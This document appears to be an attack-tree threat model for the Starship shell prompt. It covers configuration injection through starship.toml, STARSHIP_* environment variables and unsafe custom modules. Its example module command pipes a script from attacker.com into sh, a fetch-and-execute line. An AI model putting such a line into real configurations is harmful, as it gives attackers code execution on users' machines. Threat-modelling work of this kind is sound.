Skip to content

Latest commit

 

History

History
63 lines (55 loc) · 6.88 KB

File metadata and controls

63 lines (55 loc) · 6.88 KB

Attack Tree Analysis for starship/starship

Objective: Compromise User System/Application Environment via Starship Exploitation

Attack Tree Visualization

Attack Goal: Compromise User System/Application Environment via Starship Exploitation [CRITICAL]
└───[AND] Gain Unauthorized Access or Control [CRITICAL]
    └───[OR] **Exploit Starship Configuration Vulnerabilities** [HIGH-RISK PATH] [CRITICAL]
        └───[AND] **Malicious Configuration Injection** [HIGH-RISK PATH] [CRITICAL]
            ├───[OR] **Direct Configuration File Modification** [HIGH-RISK PATH] [CRITICAL]
            │   ├───[AND] **Gain Write Access to Starship Configuration File (~/.config/starship.toml, etc.)** [HIGH-RISK PATH] [CRITICAL]
            │   │   └───[OR] Exploit Application Vulnerability to Write Files [CRITICAL]
            └───[THEN] **Modify Starship Configuration to Execute Malicious Commands** [HIGH-RISK PATH] [CRITICAL]
                └───[AND] **Inject Malicious `command` or `format` in Modules** [HIGH-RISK PATH] [CRITICAL]
            ├───[AND] **Environment Variable Injection** [HIGH-RISK PATH] [CRITICAL]
            │   └───[AND] **Control Environment Variables Read by Starship** [HIGH-RISK PATH] [CRITICAL]
            │       └───[OR] Exploit Application Vulnerability to Set Environment Variables [CRITICAL]
            └───[THEN] **Inject Malicious Configuration via Environment Variables (STARSHIP_*)** [HIGH-RISK PATH] [CRITICAL]
                └───[AND] **Use Environment Variables to Override or Inject Malicious `command` or `format`** [HIGH-RISK PATH] [CRITICAL]
    └───[OR] **Vulnerabilities in Custom Modules (if used)** [HIGH-RISK PATH]
        └───[AND] **Unsafe Code in Custom Modules (if application provides/suggests custom modules)** [HIGH-RISK PATH]
        └───[AND] **Lack of Input Validation in Custom Module Commands** [HIGH-RISK PATH]
  • Attack Vector: Malicious Configuration Injection
    • Description: Attackers aim to inject malicious configurations into Starship to execute arbitrary commands. This is achieved by manipulating Starship's configuration mechanisms.
    • Sub-Vectors:
      • Direct Configuration File Modification:
        • Attack Steps:
          1. Gain Write Access to Starship Configuration File: Attackers first need to obtain write permissions to the user's Starship configuration file (e.g., ~/.config/starship.toml). This can be achieved by:
            • Exploiting vulnerabilities in the application that allow writing files to arbitrary locations (e.g., path traversal, insecure file upload).
            • Compromising user accounts through social engineering or credential theft, gaining access to the user's file system.
          2. Modify Starship Configuration to Execute Malicious Commands: Once write access is gained, attackers modify the configuration file.
            • Inject Malicious command or format in Modules: They inject malicious code within Starship modules, particularly in custom modules or by manipulating the format strings of existing modules. This can involve setting the command property of a custom module to execute a malicious script or embedding shell commands within a format string that gets evaluated.
        • Example: Injecting [module.custom.command] = "curl attacker.com/malicious.sh | sh" into starship.toml.
      • Environment Variable Injection:
        • Attack Steps:
          1. Control Environment Variables Read by Starship: Attackers need to control environment variables that Starship reads, specifically those starting with STARSHIP_. This can be achieved by:
            • Exploiting application vulnerabilities that allow setting environment variables (e.g., command injection in application code that sets environment variables, or vulnerabilities in how the application handles environment variables).
            • Compromising the application's environment setup process if it's possible to inject environment variables during application startup.
          2. Inject Malicious Configuration via Environment Variables (STARSHIP_*): Once environment variable control is achieved, attackers inject malicious configurations through these variables.
            • Use Environment Variables to Override or Inject Malicious command or format: They use environment variables like STARSHIP_CUSTOM_MODULES to override existing configurations or inject new modules with malicious commands.
        • Example: Setting export STARSHIP_CUSTOM_MODULES='[{ "command" = "malicious_command", "format" = "$custom" }]'.
  • Attack Vector: Exploiting vulnerabilities within custom Starship modules, especially if the application ecosystem promotes or distributes them.
    • Sub-Vectors:
      • Unsafe Code in Custom Modules:
        • Description: If the application distributes or recommends custom Starship modules that contain inherently unsafe code, users who adopt these modules become vulnerable. This is especially risky if the application implicitly trusts or encourages the use of these modules without proper security vetting.
        • Attack Steps:
          1. Application distributes or recommends vulnerable custom modules: The application, in its documentation, examples, or distribution, provides or suggests using custom Starship modules that are poorly written or intentionally malicious.
          2. Users unknowingly use vulnerable modules, leading to compromise: Users, trusting the application's guidance, adopt these vulnerable custom modules. The modules then execute malicious code within the user's shell environment.
      • Lack of Input Validation in Custom Module Commands:
        • Description: Custom modules that execute external commands based on user input or environment variables without proper input validation are vulnerable to command injection.
        • Attack Steps:
          1. Custom modules execute external commands based on user input or environment: A custom module is designed to run shell commands, and these commands incorporate user-provided input or data from the environment without sufficient sanitization.
          2. Command Injection via Custom Module Logic: Attackers can then craft malicious input or manipulate the environment to inject arbitrary commands into the shell commands executed by the custom module.